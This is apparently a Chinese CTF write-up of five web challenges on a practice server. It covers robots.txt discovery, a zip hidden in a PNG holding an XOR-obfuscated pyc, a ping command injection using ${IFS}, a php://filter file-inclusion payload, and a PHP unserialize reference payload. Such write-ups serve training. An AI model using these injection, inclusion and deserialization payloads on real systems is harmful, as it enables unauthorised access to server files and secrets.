签到 50
题目链接
http://47.100.121.220:28001
解答
这是一个简单的题目,进入页面可以在相应头中找到flag。

02 100
题目链接
http://47.100.121.220:28002
解答
这里的提示是 爬虫什么的,最讨厌了! 所以应该是在说robots.txt文件
另外如果不能想到这个,对于我这种脚本小子。拿到题就是用御剑扫起来。
这里我们可以看到一个图片 Disallow: /2333.png
下载之,这里应该是一个隐身之类的,这里就不用bindwalk跑图片了,直接丢进WinHex下,搜索flag
存在flag.pyc文件,

应该是一个解压包,把.png改成.zip,解压得到flag.pyc
pyc在线反编译,得到python代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| #!/usr/bin/env python # encoding: utf-8 # 访问 http://tool.lu/pyc/ 查看更多信息 print 'show me flag' a = [ 4567249, 4567259, 4567254, 4567248, 4567244, 4567169, 4567183, 4567252, 4567175, 4567171, 4567250, 4567169, 4567174, 4567170, 4567183, 4567253, 4567183, 4567183, 4567182, 4567250, 4567170, 4567168, 4567252, 4567170, 4567173, 4567172, 4567183, 4567172, 4567252, 4567171, 4567251, 4567169, 4567182, 4567173, 4567168, 4567183, 4567175, 4567183, 4567173, 4567174, 4567183, 4567251, 4567249, 4567170, 4567251, 4567242] flag = '' for _ in a: flag += chr(_ ^ 4567223)
|
加个输出 print flag
跑一下,得到flag

ping 100
题目链接
http://47.100.121.220:28005/
解答
拿到题目应该可以看得出来这是一个命令执行的题目。
这里在提交框填什么都会重定向到05.php?ip=127.0.0.1

关键在重定向后的这个数据包,这里我们就可以命令执行了

这里不能直接利用cat flag.php
这里我们利用 \${IFS} 绕过 得到flag

原本以为是过滤了空格
后面甜哥告诉我是编码的问题 这里不需要利用 \${IFS} 绕过 也可以读取flag的
06 100
题目链接
http://47.100.121.220:28006/06.php
解答
1 2 3 4
| <?php show_source(__FILE__); include($_GET['file']); ?>
|
这里我们可以看出这是一个文件包含的题目,在服务器应该存在一个flag.php文件
试图访问/flag.php是存在的,状态为200。
这样我们就可以利用文件包含来读flag.php的代码了
这里直接包含是不行的,要利用php的伪协议 php://filter 来读取
php伪协议可以参考我的博客
php支持的协议和封装协议小结
直接用
1
| file=php://filter/read=convert.base64-encode/resource=./flag.php
|
就可以得到base64加密的flag.php源码了,直接解密,得到flag

07 100
题目链接
http://47.100.121.220:28007/
解答
打开链接 直接得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php include('flag.php');
class A { var $guess; var $flag; }
show_source(__FILE__); if (isset($_GET['k'])) { $k = $_GET['k'];
$o = unserialize($k);
if ($o) { $o->flag = $flag; if ($o->flag === $o->guess) { echo "Congratulation! ".$o->flag; } else { echo "wrong!!"; } } else { echo "wrong!"; } }
?>
|
对源码进行分析,可以知道这是一个反序列化的题目,关键的判断在如下代码部分
1 2 3 4 5 6 7
| $o->flag = $flag; if ($o->flag === $o->guess) { echo "Congratulation! ".$o->flag; } else { echo "wrong!!"; }
|
从代码的理解我们需要做到对象里的flag成员变量的值等于guess的成员变量的值
即
这里我们可以写一个1.php的序列化文件,使我们的类和对象符合题目中的条件,
再利用serialize()函数 序列化得到payload,再把payload赋值给k,由此得到flag
1 2 3 4 5 6 7 8 9 10 11
| <?php class A { var $flag; var $guess; function A() { $this->flag=&$this->guess; } } echo serialize(new A()); ?>
|

得到paylad
1
| O:1:"A":2:{s:4:"flag";N;s:5:"guess";R:2;}
|
赋值给k,得到flag
